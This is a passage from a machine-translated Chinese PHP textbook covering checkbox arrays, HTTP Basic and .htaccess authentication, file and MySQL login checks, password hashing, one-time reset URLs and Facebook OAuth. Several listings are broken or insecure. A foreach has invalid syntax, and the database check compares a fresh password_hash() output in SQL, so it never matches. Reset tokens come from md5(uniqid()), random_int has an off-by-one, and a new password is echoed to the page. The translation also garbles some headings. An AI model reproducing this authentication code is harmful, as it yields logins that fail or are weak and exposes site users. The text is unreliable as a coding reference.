因为这些组件是多值的,所以表单处理器必须能够识别可能有多个值被分配给一个表单变量。在前面的示例中,请注意两者都使用名称 languages 来引用几个语言条目。PHP 如何处理这个问题?也许不奇怪,把它看作一个数组。为了让 PHP 认识到可以将几个值赋给单个表单变量,您需要对表单项名称做一点小小的修改,在它后面加上一对方括号。因此,名字应该读作languages[],而不是语言。一旦重命名,PHP 将像对待任何其他数组一样对待提交的变量。考虑这个例子:

<?php
    if (isset($_POST['submit']))
    {
        echo "You like the following languages:<br>";
        if (is_array($_POST['languages'])) {
          foreach($_POST['languages'] AS $language) {
              $language = htmlentities($language);
              echo "$language<br>";
          }
      }
    }
?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
   What's your favorite programming language?<br> (check all that apply):<br>
   <input type="checkbox" name="languages[]" value="csharp">C#<br>
   <input type="checkbox" name="languages[]" value="javascript">JavaScript<br>
   <input type="checkbox" name="languages[]" value="perl">Perl<br>
   <input type="checkbox" name="languages[]" value="php">PHP<br>
   <input type="submit" name="submit" value="Submit!">
</form>

如果用户选择 C#和 PHP 语言,他/她会看到以下输出:

You like the following languages:
csharp
php

摘要

网络的最大优势之一是它使我们不仅能够传播,而且能够编辑和汇总用户信息。然而,作为开发人员,这意味着我们必须花费大量的时间来构建和维护大量的用户界面,其中许多是复杂的 HTML 表单。本章描述的概念应该能让你减少一点时间。

此外,本章还提供了一些改善应用一般用户体验的常用策略。虽然这不是一个详尽的列表,但也许本章提供的材料将作为一个跳板,让您进行进一步的实验,同时减少您在 web 开发中更耗时的方面(改善用户体验)投入的时间。

下一章将向您展示如何通过强制用户在进入之前提供用户名和密码来保护网站的敏感区域。

十四、认证您的用户

认证用户身份是一种常见的做法,这不仅是出于安全方面的原因,也是为了提供基于用户偏好和类型的可定制功能。通常,系统会提示用户输入用户名和密码,用户名和密码的组合构成了该用户的唯一标识值。在本章中,您将学习如何使用各种方法提示和验证这些信息,包括涉及 Apache 的 htpasswd 特性的简单方法,以及涉及将提供的用户名和密码与直接存储在脚本、文件和数据库中的值进行比较的方法。此外,您将了解如何使用一次性 URL 的概念来恢复丢失的密码。总之,本章的概念包括:

  • 基于 HTTP 的基本身份验证概念

  • PHP 的认证变量,即$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']

  • 几个常用于实现认证过程的 PHP 函数

  • 三种常见的身份验证方法:将登录对(用户名和密码)直接硬编码到脚本中,基于文件的身份验证,以及基于数据库的身份验证

  • 使用一次性 URL 恢复丢失的密码

  • 使用 OAuth2 进行身份验证

HTTP 身份验证概念

HTTP 协议为用户身份验证提供了一种相当基本的方法,典型的身份验证场景如下:

img/314623_5_En_14_Fig1_HTML.jpg

图 14-1

认证提示

  1. 客户端请求受限资源。

  2. 服务器用 401(未授权访问)响应消息来响应这个请求。

  3. 浏览器识别 401 响应,并弹出一个类似于图 14-1 所示的认证提示。所有现代浏览器都能够理解 HTTP 认证并提供适当的功能,包括 Google Chrome、Internet Explorer、Mozilla Firefox 和 Opera。

  4. 用户提供的凭证(通常是用户名和密码)被发送回服务器进行验证。如果用户提供了正确的凭证,则允许访问;否则就否定了。

  5. 如果用户通过验证,浏览器会将身份验证信息存储在其缓存中。此缓存信息将保留在浏览器中,直到缓存被清除,或者直到另一个 401 服务器响应被发送到浏览器。每次请求资源时,密码都会自动传输。现代身份验证方案将使用带有到期时间的令牌,而不是发送实际的密码。

尽管 HTTP 身份验证有效地控制了对受限资源的访问,但它并不保护身份验证凭据传播的通道。也就是说,精心策划的攻击者有可能嗅探或监视服务器和客户端之间发生的所有流量,这些流量中包含未加密的用户名和密码。为了消除通过这种方法进行破坏的可能性,您需要实现一个安全的通信通道,通常使用安全套接字层(SSL)或传输层安全性(TLS)来实现。所有主流 web 服务器都支持 SSL/TLS,包括 Apache 和 Microsoft Internet Information Server(IIS)。当使用安全层时,协议从 HTTP 变为 HTTPS。这将允许客户端和服务器在传输任何真实信息之前交换加密密钥。然后,这些密钥被用来加密和解密客户端和服务器之间的所有双向信息。

用阿帕奇的。htaccess 功能

一段时间以来,Apache 已经本机支持了一个身份验证特性,如果您的需求仅限于简单地为整个网站或特定目录提供全面保护,那么这个特性是非常合适的。根据我的经验,典型的用法是结合一个用户名和密码组合来阻止对一组受限文件或项目演示的访问;但是,可以将它与其他高级功能集成在一起,例如在 MySQL 数据库中管理多个帐户的能力。

您将通过创建一个名为.htaccess的文件并将其存储在您想要保护的目录中来利用这个特性。因此,如果您想限制对整个网站的访问,请将该文件放在您站点的根目录下。最简单的格式是,.htaccess文件的内容如下所示:

AuthUserFile /path/to/.htpasswd
AuthType Basic
AuthName "My Files"
Require valid-user

用指向另一个名为.htpasswd的必备文件的路径替换/path/to。该文件包含用户访问受限内容时必须提供的用户名和密码。这个文件应该放在网站使用的目录结构之外,以防止访问者直接访问它。一会儿,我将向您展示如何使用命令行生成这些用户名/密码对,这意味着您实际上不会编辑.htpasswd文件;然而,作为参考,典型的.htpasswd文件如下所示:

admin:TcmvAdAHiM7UY
client:f.i9PC3.AtcXE

每行包含一个用户名和密码对,密码经过哈希处理(使用哈希是内容的单向转换。不可能将散列变回原始内容)以防止偷窥者潜在地获得整个身份。当用户提供一个密码时,Apache 将使用最初用于加密存储在.htpasswd文件中的密码的相同算法散列所提供的密码,比较两者是否相等。

文件不必命名为.htpasswd,因此如果您为不同的目录维护不同的密码,您可以相应地命名文件。它还允许您为所有目录共享一个统一的密码文件。

要生成用户名和密码,请打开终端窗口并执行以下命令:

%>htpasswd -c .htpasswd client

执行该命令后,系统会提示您创建并确认与名为client的用户相关联的密码。一旦完成,如果您检查.htpasswd文件的内容,您将看到一行类似于上面显示的示例.htpasswd文件的第二行。您可以通过执行相同的命令来创建额外的帐户,但是省略了-c选项(它告诉htpasswd创建一个新的.htpasswd文件)。

一旦您的.htaccess.htpasswd文件就位,尝试从您的浏览器导航到新限制的目录。如果一切都配置妥当,你会看到一个类似于图 14-1 的认证窗口。

用 PHP 认证你的用户

本章的剩余部分将研究 PHP 的内置认证特性,并演示几种可以立即集成到应用中的认证方法。

PHP 的认证变量

PHP 使用两个预定义的变量来存储和访问来自上述基本 HTTP 认证的内容。分别是:$_SERVER['PHP_AUTH_USER']和$_S ERVER['PHP_AUTH_PW']。这些变量分别存储用户名和密码值。虽然身份验证就像将预期的用户名和密码与这些变量进行比较一样简单,但在使用这些预定义变量时,有两个重要的注意事项需要记住:

  • 这两个变量都必须在每个受限页面的开头进行验证。您可以通过在受限页面上执行任何其他操作之前对用户进行身份验证来轻松实现这一点,这通常意味着将身份验证代码放在一个单独的文件中,然后使用require()函数将该文件包含在受限页面中。

  • 这些变量在 PHP 的 CGI 版本中不能正常工作。

  • 仅当 web 服务器配置为使用 HTTPS 协议时,才使用基本 HTTP 身份验证。

有用的功能

当通过 PHP 处理认证时,通常使用两个标准函数:header()isset()。这两者都在本节中介绍。

发送带有标头()的 HTTP 标头

header()函数向浏览器发送一个原始的 HTTP 头。标题是在浏览器中看到实际内容之前发送的附加信息。报头参数指定发送给浏览器的报头信息。其原型如下:

void header(string header [, boolean replace [, int http_response_code]])

可选的替换参数确定该信息是否应该替换或伴随先前发送的同名报头。最后,可选的 http_response_code 参数定义了一个特定的响应代码,它将伴随着头部信息。请注意,您可以将这段代码包含在字符串中,因为很快就会演示到这一点。应用于用户身份验证时,该函数对于将 WWW 身份验证头发送到浏览器非常有用,可以显示弹出的身份验证提示。如果提交了不正确的身份验证凭据,它对于向用户发送 401 头消息也很有用。下面是一个例子:

<?php
   header('WWW-Authenticate: Basic Realm="Book Projects"');
   header("HTTP/1.1 401 Unauthorized");
?>

请注意,除非启用了输出缓冲,否则必须在返回任何输出之前执行这些命令。当打开输出缓冲时,PHP 将把所有生成的输出保存在内存中,直到代码决定把它发送给浏览器。如果没有输出缓冲,当内容传输到客户端时,就由 web 服务器来处理。由于违反了 HTTP 规范,忽略此规则将导致服务器错误。

确定变量是否用 Is Set()设置

isset()函数确定变量是否被赋值。其原型如下:

boolean isset(mixed var [, mixed var [,...]])

如果变量被设置并且包含不同于空值的值,则返回TRUE,否则返回FALSE。当应用于用户认证时,isset()函数对于确定是否设置了$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']变量很有用。清单 14-1 提供了一个例子。

<?php

    // If the username or password isn't set, display the authentication window
    if (! isset($_SERVER['PHP_AUTH_USER']) || ! isset($_SERVER['PHP_AUTH_PW'])) {
        header('WWW-Authenticate: Basic Realm="Authentication"');
        header("HTTP/1.1 401 Unauthorized");

    // If the username and password are set, output their credentials
    } else {
        echo "Your supplied username: {$_SERVER['PHP_AUTH_USER']}<br />";

echo "Your password: {$_SERVER['PHP_AUTH_PW']}<br />";
    }
?>

Listing 14-1Using isset()

to Verify Whether a Variable Contains a Value

PHP 认证方法

有几种方法可以通过 PHP 脚本实现身份验证。这样做时,您应该始终考虑身份验证需求的范围和复杂性。本节讨论三种实现方法:将登录对直接硬编码到脚本中,使用基于文件的身份验证,以及使用基于数据库的身份验证。花时间研究每种身份认证方法,然后选择最适合您需求的解决方案。

硬编码身份验证

限制资源访问的最简单方法是将用户名和密码直接硬编码到脚本中。这是一种不好的做法,因为它将允许任何有权访问脚本的人读取这些值。此外,这是一种非常不灵活的处理安全性的方式,因为每次发生变化时都必须更新脚本。如果您决定使用这种方法,您应该存储一个哈希而不是明文密码。清单 14-2 提供了一个如何实现这一点的例子。

$secret = 'e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4';
if (($_SERVER['PHP_AUTH_USER'] != 'client') ||
   (hash('sha1', $_SERVER['PHP_AUTH_PW']) != $secret)) {
      header('WWW-Authenticate: Basic Realm="Secret Stash"');
      header('HTTP/1.0 401 Unauthorized');
      print('You must provide the proper credentials!');
      exit;
}

Listing 14-2Authenticating Against a Hard-Coded Login Pair

在本例中,如果$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']分别等于clientsecret,则代码块不会执行,该代码块后面的任何代码都将执行。否则,系统会提示用户输入用户名和密码,直到提供正确的信息,或者由于多次身份验证失败而显示 401 未授权消息。

请注意,我们不是直接比较密码。相反,我们使用 sha1 散列函数将其与存储值进行比较。在这种情况下,该值由以下命令行语句生成:

$ php -r "echo hash('sha1', 'secret');"

尽管针对硬编码值的身份验证非常快速且易于配置,但它有几个缺点。首先,所有需要访问该资源的用户必须使用相同的身份验证对。在大多数现实情况下,每个用户必须被唯一地标识,以便可以提供用户特定的偏好或资源。第二,更改用户名或密码只能通过输入代码并进行手动调整来完成。接下来的两种方法消除了这些问题。

基于文件的认证

通常,您需要为每个用户提供一个唯一的登录对,以便跟踪用户特定的登录时间、移动和动作。这很容易用一个文本文件来完成,很像通常用来存储 Unix 用户信息的文件(/etc/passwd)。清单 14-3 提供了这样一个文件。每行包含一个用户名和一个散列密码对,这两个元素用冒号分隔。

jason:68c46a606457643eab92053c1c05574abb26f861
donald:53e11eb7b24cc39e33733a0ff06640f1b39425ea
mickey:1aa25ead3880825480b6c0197552d90eb5d48d23

Listing 14-3The authenticationFile.txt File Containing Hashed Passwords

关于authenticationFile.txt的一个重要的安全考虑是这个文件应该存储在服务器文档根目录之外。如果不是,攻击者可以通过暴力猜测发现该文件,暴露一半的登录组合,并使用彩虹表、密码列表或暴力破解来发现密码。此外,尽管您可以选择跳过密码哈希,但强烈建议不要这样做,因为如果文件权限配置不正确,有权访问服务器的用户可能会查看登录信息。

解析该文件并根据给定的登录对对用户进行身份验证所需的 PHP 脚本只比用于根据硬编码的身份验证对进行身份验证的脚本复杂一点。区别在于脚本的额外任务是将文本文件读入一个数组,然后在数组中循环搜索匹配项。这涉及到几个函数的使用,包括:

  • file(string 文件名):file()函数将一个文件读入一个数组,数组的每个元素由文件中的一行组成。

  • explode(string 分隔符 , string 字符串 [, int 限制 ]):函数explode()将一个字符串分割成一系列子字符串,每个字符串的边界由一个特定的分隔符决定。

  • password_hash(stringpassword, intalgo):password _hash()函数返回一个字符串,其中包含算法和 salt 以及最终的散列。

清单 14-4 展示了一个能够解析authenticationFile.txt的 PHP 脚本,潜在地将用户输入匹配到一个登录对。

<?php

    // Preset authentication status to false
    $authorized = false;

    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {

        // Read the authentication file into an array
        $authFile = file("/usr/local/lib/php/site/authenticate.txt");

        // Search array for authentication match
        foreach ($authFile, $line ) {
            list($user, $hash) = explode(":", $line);
            if ($_SERVER['PHP_AUTH_USER'] == $user &&
               password_verify($_SERVER['PHP_AUTH_PW'], trim($hash)))
            $authorized = true;
            break;
    }

    // If not authorized, display authentication prompt or 401 error
    If (!$_SERVER['HTTPS']) {
      echo " Please use HTTPS when accessing this document";
      exit;
    }
    if (!$authorized) {
        header('WWW-Authenticate: Basic Realm="Secret Stash"');
        header('HTTP/1.0 401 Unauthorized');
        print('You must provide the proper credentials!');
        exit;
    }
    // restricted material goes here...
?>

Listing 14-4Authenticating a User Against a Flat File Login Repository

尽管基于文件的身份验证系统对于相对较小的静态身份验证列表很有效,但是当您处理大量用户时,这种策略很快就会变得不方便;当用户被定期添加、删除和修改时;或者当您需要将身份验证方案合并到更大的信息基础设施(如预先存在的用户表)中时。实现基于数据库的解决方案可以更好地满足这些需求。下一节演示了这样一个解决方案,使用一个数据库来存储身份验证对。

基于数据库的认证

在本章讨论的各种身份验证方法中,实现数据库驱动的解决方案是最强大的,因为它不仅提高了管理的便利性和可伸缩性,而且还可以集成到更大的数据库基础结构中。出于本例的目的,数据存储仅限于三个字段:主键、用户名和密码。这些列被放入名为logins的表中,如清单 14-5 所示。

注意

如果你不熟悉 MySQL,并且对这个例子中的语法感到困惑,可以考虑从第二十二章开始复习。

CREATE TABLE logins (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   username VARCHAR(255) NOT NULL,
   pswd CHAR(40) NOT NULL
);

Listing 14-5A User Authentication Table

下面是几行示例数据:

id    username    password
1     wjgilmore   1826ede4bb8891a3fc4d7355ff7feb6eb52b02c2
2     mwade       1a77d222f28a78e1864662947772da8fdb8721b1
3     jgennick    c1a01cd806b0c41b679f7cd4363f34c761c21279

清单 14-6 显示了用于根据存储在logins表中的信息验证用户提供的用户名和密码的代码。

<?php
    /* Because the authentication prompt needs to be invoked twice,
       embed it within a function.
    */

    function authenticate_user() {
        header('WWW-Authenticate: Basic realm="Secret Stash"');
        header("HTTP/1.0 401 Unauthorized");
        exit;
    }

    /* If $_SERVER['PHP_AUTH_USER'] is blank, the user has not yet been
       prompted for the authentication information.
    */

    if (! isset($_SERVER['PHP_AUTH_USER'])) {

        authenticate_user();

    } else {

      $db = new mysqli("localhost", "webuser", "secret", "chapter14");

      $stmt = $db->prepare("SELECT username, pswd FROM logins
                  WHERE username=? AND pswd= ?");

      $stmt->bind_param('ss', $_SERVER['PHP_AUTH_USER'], password_hash($_SERVER['PHP_AUTH_PW'], PASSWORD_DEFAULT));

      $stmt->execute();

      $stmt->store_result();

      // Remember to check for erres also!
      if ($stmt->num_rows == 0)
        authenticate_user();
  }

?>

Listing 14-6Authenticating a User Against a MySQL Database

尽管数据库身份验证比前两种方法更强大,但实现起来确实很简单。只需对logins表执行选择查询,使用输入的用户名和密码作为查询标准。当然,这种解决方案不依赖于 MySQL 数据库的特定用途;任何关系数据库都可以代替它。

用户登录管理

当您将用户登录合并到您的应用中时,提供一个可靠的身份验证机制仅仅是整体情况的一部分。如何确保用户选择一个足够难的可靠密码,使得攻击者无法将其作为可能的攻击途径?再者,你如何处理用户忘记密码这一不可避免的事件?这两个主题都将在本节中详细讨论。

密码哈希

以明文形式存储密码存在明显的安全风险,因为任何有权访问文件或数据库的人都可以读取密码,从而获得对系统的访问权限,就好像他们实际上就是该用户一样。使用弱哈希算法,已知的安全问题,甚至在某些情况下逆转过程的能力,几乎与纯文本一样不安全。

PHP 5.5 及以后版本增加了函数password_hash()password_verify()。随着更安全的算法的开发,这些函数被设计成同样安全和可更新的。顾名思义,password_hash()函数用于从密码字符串创建散列。原型看起来像这样:

string password_hash(string $password, integer $algo [, array $options ])

第一个参数是包含明文密码的字符串。第二个参数选择要使用的算法。到目前为止,PHP 支持 bcrypt、Blowfish 和 Argon2。第三个可选选项用于传递算法特定的值,在大多数情况下不使用。更多信息见 https://php.net/manual/en/function.password-hash.php

如果您创建一个简单的测试脚本,它接受一个密码值,然后调用几次password_hash()函数,您将会看到返回值每次都发生变化:

<?php
$password = 'secret';
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
?>

该脚本将生成如下所示的输出:

$2y$10$vXQU7uqUGMc/Aey2kpfZl.F23MeCJx08C5ZFDEqiqxkHeRkxek9p2
$2y$10$g9ZJu1A80mzDnAvGENtUHO0lq600U4hXfYZse6R7zfvXEIDbHN8nG
$2y$10$/xqgeR8lsdJQhd.8qyW5XOy0FhNQ5raJ42MpY4/BREER1GATEdENa

如果函数返回不同的结果,就不可能将哈希存储在数据库中,并将其用作与用户尝试进行身份验证时生成的新值的直接比较。这就是password_verify()函数变得有用的地方。这个函数有两个参数:

boolean password_verify ( string $password , string $hash )

第一个是以明文表示的密码,第二个是存储在文件或数据库中的散列。生成散列时,算法、salt 和成本(用于生成散列的参数)都包含在字符串中。这允许验证函数根据密码和这些参数生成新的散列。然后在内存中进行比较,将返回 true 或 false,指示密码是否与哈希值匹配。

一次性网址和密码恢复

毫无疑问,您的应用用户会忘记他们的密码。我们都有忘记这些信息的罪过,这不完全是我们的错。花点时间列出您经常使用的所有不同的登录组合;我猜你至少有 12 种这样的组合,包括电子邮件、工作站、服务器、银行账户、公用事业、在线商务和证券经纪。因为您的应用假定会在用户列表中添加另一个登录对,所以应该有一个简单的自动化机制,用于在忘记密码时检索或重置用户密码。本节研究一种这样的机制,称为一次性 URL。

当没有其他身份验证机制可用时,或者当用户发现身份验证对于手头的任务来说可能太单调乏味时,通常向用户提供一次性 URL 以确保唯一性。例如,假设您维护了一个新闻稿订阅者列表,并想知道哪些订阅者以及有多少订阅者正在对他们在新闻稿中读到的内容采取行动。做出这一决定的最常见方法之一是向他们提供一个指向新闻稿的一次性 URL,可能如下所示:

http://www.example.com/newsletter/0503.php?id=9b758e7f08a2165d664c2684fddbcde2

为了确切地知道哪些用户对这期新闻简报感兴趣,已经为每个用户分配了一个唯一的 ID 参数,如前面的 URL 所示,并存储在某个subscribers表中。这些值通常是伪随机的,使用 PHP 的hash()uniqid()函数导出,如下所示:

$id = hash('sha1', uniqid(rand(),1));

subscribers表格可能如下所示:

CREATE TABLE subscribers (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   email VARCHAR(255) NOT NULL,
   hash CHAR(40) NOT NULL,
   read CHAR(1)
);

当用户单击此链接,导致新闻稿显示时,将在显示新闻稿之前执行以下查询:

UPDATE subscribers SET read="Y" WHERE hash="e46d90abd52f4d5f02953524f08c81e7c1b6a1fe";

结果是你将确切地知道哪些订户对时事通讯感兴趣。

这个非常相同的概念可以应用于密码恢复。为了说明这是如何完成的,考虑清单 14-7 中显示的修改后的logins表。

CREATE TABLE logins (
   id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   email VARCHAR(55) NOT NULL,
   username VARCHAR(16) NOT NULL,
   pswd CHAR(32) NOT NULL,
   hash CHAR(32) NOT NULL
);

Listing 14-7A Revised logins Table

假设这个表中的一个用户忘记了他的密码,于是点击了Forgot password?链接,这通常出现在登录提示符附近。用户到达一个页面,要求他输入电子邮件地址。一旦输入地址并提交表单,就会执行类似于清单 14-8 中所示的脚本。

<?php

    $db = new mysqli("localhost", "webuser", "secret", "chapter14");

    // Create unique identifier
    $id = md5(uniqid(rand(),1));

    // User's email address
    $address = filter_var($_POST[email], FILTER_SANITIZE_EMAIL);

    // Set user's hash field to a unique id
    $stmt = $db->prepare("UPDATE logins SET hash=? WHERE email=?");
    $stmt->bind_param('ss', $id, $address);

    $stmt->execute();

    $email = <<< email
Dear user,
Click on the following link to reset your password:
http://www.example.com/users/lostpassword.php?id=$id
email;

// Email user password reset options
mail($address,"Password recovery","$email","FROM:services@example.com");
echo "<p>Instructions regarding resetting your password have been sent to
         $address</p>";
?>

Listing 14-8A One-Time URL Generator

当用户收到这封邮件并点击链接时,清单 14-9 中所示的脚本lostpassword.php就会执行。

<?php
    $length = 12;
    $valid = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $max = strlen($valid);
    $db = new mysqli("localhost", "webuser", "secret", "chapter14");

    // Create a pseudorandom password $length characters in length
    for ($i = 0; $i < $length; ++$i) {
        $pswd .= $valid[random_int(0, $max)];
    }

    // User's hash value
    $id = filter_var($_GET[id], FILTER_SANITIZE_STRING);

    // Update the user table with the new password
    $stmt = $db->prepare("UPDATE logins SET pswd=? WHERE hash=?");
    $stmt->bind_param("ss", password_hash($pswd, PASSWORD_DEFAULT), $id);
    $stmt->execute();

    // Display the new password
    echo "<p>Your password has been reset to {$pswd}.</p>";
?>

Listing 14-9Resetting a User’s Password

当然,这只是众多恢复机制中的一种。例如,您可以使用一个类似的脚本为用户提供一个重新设置密码的表单。

使用 OAuth 2.0

OAuth 2.0 是用于授权的行业标准协议。该协议允许以多种不同的方式授予对系统的访问权限。它通常与第三方授权服务一起使用,在第三方授权服务中,用户被重定向到另一个站点,在该站点中,用户的身份以某种方式得到验证,验证成功后,uer 被重定向回该站点,服务器可以从第三方站点获得访问令牌。现在有很多 OAuth 2.0 服务,其中一些最常见的是脸书、LinkedIn 和 Google。

有许多可能的库可用于 OAuth2 协议的客户端和服务器实现。使用客户端库可以相对简单地将一个或多个授权服务集成到您的网站中。

以下示例显示了如何与脸书的身份验证 API 集成。这些 API 可用于用户注册和用户认证,并且如果用户授权访问,则提供对附加用户信息的访问。基本概念是从在你的网站上添加一个链接或一个按钮开始的。该按钮将允许用户使用脸书登录。单击该按钮时,API 将打开一个弹出窗口,检查用户是否已经登录到脸书(在同一浏览器的不同选项卡中)。否则,将显示脸书登录对话框。如果用户已经登录,API 将检查用户是否已经被授权访问站点。如果没有访问权限,脸书将不会为该用户提供访问令牌。当访问被授予时,用户将被重定向回站点,在那里可以调用 API 来检索访问令牌。

实现脸书集成的第一步是通过以下 composer 命令安装脸书 SDK:

composer require facebook/graph-sdk

这将在 vendor/facebook/graph-sdk 中安装 sdk 文件。之后的下一步是为您的网站生成一个应用 ID。进入 https://developer.facebook.com ,点击右上角的“我的应用”下拉菜单。然后选择添加新应用选项,并按照表单中的步骤操作。这样做的结果是一个应用 ID 和一个应用秘密。应用 ID 是标识的公共部分,用于识别您的应用或网站。App Secret 是 id 的私有部分。您应该将它存储在一个无法从网站访问的地方。我建议将包含文件放在 web 根目录之外。

要在您的站点上初始化脸书 API,您必须在页面上的 JavaScript 块中包含以下匿名函数:

window.fbAsyncInit = function() {
   FB.init({"appId":"<<APP ID>>","status":true,"cookie":true,"xfbml":true,"version":"v2.11"});
};
(function(d, s, id){
   var js, fjs = d.getElementsByTagName(s)[0];
   if (d.getElementById(id)) {return;}
   js = d.createElement(s); js.id = id;
   js.src = "//connect.facebook.net/en_US/sdk.js";
   fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));

第一部分定义了一个用于初始化 API 的全局函数。在这种情况下,使用您为网站生成的 ID 来更改<>非常重要。

JavaScript 代码的下一部分用作用户单击“用脸书登录”按钮时的响应。

function FacebookLogin() {
    FB.login(function(response) {
        if (response.authResponse) {
          // Perform actions here to validate that the user is known to the site.
          $.post( "/facebook_login.php", function( data ) {
           // Perform action on data returned from the login script.
          });
        }
    }, {scope: 'email,user_birthday'});
}

FacebookLogin()函数用两个参数调用 FB.login API。第一个是将处理响应的 annoynmoys 函数,第二个是将传递给登录 API 的作用域。在这种情况下,除了网站请求访问的 id 之外,范围还标识其他字段。在 actions 部分,您可以放置一个 Ajax POST 请求,该请求将在站点上执行实际的登录操作,验证所选的脸书用户是否与已经在站点上注册的用户相匹配。facebook_login.php文件将类似于下面的清单。

<?php
include('fb_config.inc');

$fb = new \Facebook\Facebook([
    'app_id' => FB_APP_ID,
    'app_secret' => FB_APP_SECRET,
    'default_graph_version' => 'v2.11',
]);

$helper = $fb->getJavaScriptHelper();

try {
    $accessToken = $helper->getAccessToken();
    $fb->setDefaultAccessToken((string) $accessToken);
    $response = $fb->get('/me?fields=id,name');
} catch(\Facebook\Exceptions\FacebookResponseException $e) {
    // When Graph returns an error
    Error('Graph returned an error: ' . $e->getMessage());
    exit;
} catch(\Facebook\Exceptions\FacebookSDKException $e) {
    // When validation fails or other local issues
    Error('Facebook SDK returned an error: ' . $e->getMessage());
    exit;
}

$me = $response->getGraphUser();
// $me is an array with the id of the user and any additional fields requested.

这将为您提供用户的脸书 ID,您可以使用它来识别用户。如果您在第一次登录之前使用脸书注册用户,您将保存 ID 和其他请求的信息,并且您可以使用这些信息来查找用户并在您的站点上执行登录。

摘要

这一章介绍了 PHP 的认证功能,这些功能实际上保证会集成到您未来的许多应用中。除了讨论围绕此功能的基本概念之外,还研究了几种常见的身份验证方法。本章讨论了使用一次性 URL 恢复密码。

下一章讨论另一个流行的 PHP 特性——通过浏览器处理文件上传。

十五、处理文件上传

大多数人都知道 Web 的 HTTP 协议主要涉及从服务器到用户浏览器的网页传输。然而,实际上可以通过 HTTP 传输任何类型的文件,包括图像、Microsoft Office 文档、pdf、可执行文件、MPEGs、ZIP 文件和各种其他文件类型。尽管 FTP 在历史上一直是将文件上传到服务器的标准方式,但通过基于 web 的界面进行文件传输正变得越来越普遍。在这一章中,你将了解 PHP 的文件上传处理能力,包括以下主题:

  • PHP 的文件上传配置指令

  • PHP 的$_FILES超全局数组,用于处理文件上传数据

  • PHP 内置的文件上传函数:is_uploaded_file()move_uploaded_file()

  • 查看上传脚本返回的可能错误消息

本章提供了几个真实世界的例子,为您提供了关于这个主题的适用见解。

通过 HTTP 上传文件

1995 年 11 月,当施乐公司的 Ernesto Nebel 和 Larry Masinter 在 RFC 1867 中提出了这样做的标准化方法时,通过 web 浏览器上传文件的方式被正式确定下来,“以 HTML(https://www.ietf.org/rfc/rfc1867.txt)形式上传文件”。这份备忘录为对 HTML 进行必要的添加以允许文件上传奠定了基础(随后并入 HTML 3.0),也为一种新的互联网媒体类型multipart/form-data提供了规范。这种新的媒体类型很受欢迎,因为用于编码“普通”表单值的标准类型application/x-www-form-urlencoded被认为效率太低,无法处理可能通过这种表单界面上传的大量二进制数据。下面是一个文件上传表单的例子,相应的输出截图如图 15-1 所示:

img/314623_5_En_15_Fig1_HTML.jpg

图 15-1

包含文件输入类型标签的 HTML 表单

<form action="uploadmanager.html" enctype="multipart/form-data" method="post">
  <label form="name">Name:</label><br>
  <input type="text" name="name" value=""><br>
  <label form="email">Email:</label><br>
  <input type="text" name="email" value=""><br>
  <label form="homework">Class notes:</label>
  <input type="file" name="homework" value=""><br>
  <input type="submit" name="submit" value="Submit Homework">
</form>

理解这种形式只能提供部分期望的结果;虽然file输入类型和其他与上传相关的属性标准化了文件通过 HTML 页面发送到服务器的方式,但是没有任何功能可以确定文件到达服务器后会发生什么。上传文件的接收和后续处理是上传处理器的一个功能,使用一些服务器进程或有能力的服务器端语言(如 Perl、Java 或 PHP)创建。本章的其余部分将专门介绍上传过程的这一方面。

用 PHP 上传文件

通过 PHP 成功地管理文件上传是各种配置指令、$_FILES超全局和适当编码的 web 表单之间合作的结果。在接下来的几节中,将介绍所有这三个主题,并以一些示例结束。

PHP 的文件上传/资源指令

有几个配置指令可以用来微调 PHP 的文件上传功能。这些指令决定是否启用 PHP 的文件上传支持,以及允许的最大可上传文件大小、允许的最大脚本内存分配和各种其他重要的资源基准。

file_uploads = 开|关

范围:PHP_INI_SYSTEM;默认值:On

file_uploads指令决定服务器上的 PHP 脚本是否可以接受文件上传。

max_input_time = 整数

范围:PHP_INI_ALL;默认值:-1

指令决定了 PHP 脚本在注册致命错误之前尝试解析输入的最大时间,以秒为单位。如果时间是从开始执行开始计算,而不是从输入可用的时间开始计算,则默认值-1 表示时间不受限制。这是相关的,因为特别大的文件可能需要一些时间来上传,超过了该指令设置的时间限制。请注意,如果您创建了处理大型文档或高分辨率照片的上传功能,您可能需要相应地增加该指令设置的限制。

max_file_uploads = 整数

范围:PHP_INI_SYSTEM;默认值:20

max_file_uploads指令设置了可以同时上传的文件数量上限。

memory_limit = 整数

范围:PHP_INI_ALL;默认值:16M

memory_limit指令以兆字节为单位设置了一个脚本可以分配的最大允许内存量(该值以字节为单位提供,但是您可以通过添加 k、M 或 G 来表示千字节、兆字节和千兆字节。)当你在上传文件的时候,PHP 会分配内存来保存 POST 数据的内容。内存限制应设置为大于post_max_size的值。使用它来防止失控的脚本独占服务器内存,甚至在某些情况下使服务器崩溃。

post_max_size = 整数

范围:PHP_INI_PERDIR;默认值:8M

post_max_size对通过 POST 方法提交的数据大小设置了上限。因为文件是使用 POST 上传的,所以在处理较大的文件时,您可能需要使用upload_max_filesize向上调整该设置。这个post_max_size至少应该和upload_max_filesize一样大。

上传 _ 最大文件大小= 整数

范围:PHP_INI_PERDIR;默认值:2M

upload_max_filesize指令决定上传文件的最大大小。此限制适用于单个文件。如果您通过单个 post 请求上传多个文件,此值将设置每个文件的最大大小。这个指令应该比post_max_size小,因为它只适用于通过file输入类型传递的信息,而不是通过 POST 实例传递的所有信息。比如memory_limit

上传 _ 临时目录= 字符串

范围:PHP_INI_SYSTEM;默认值:NULL

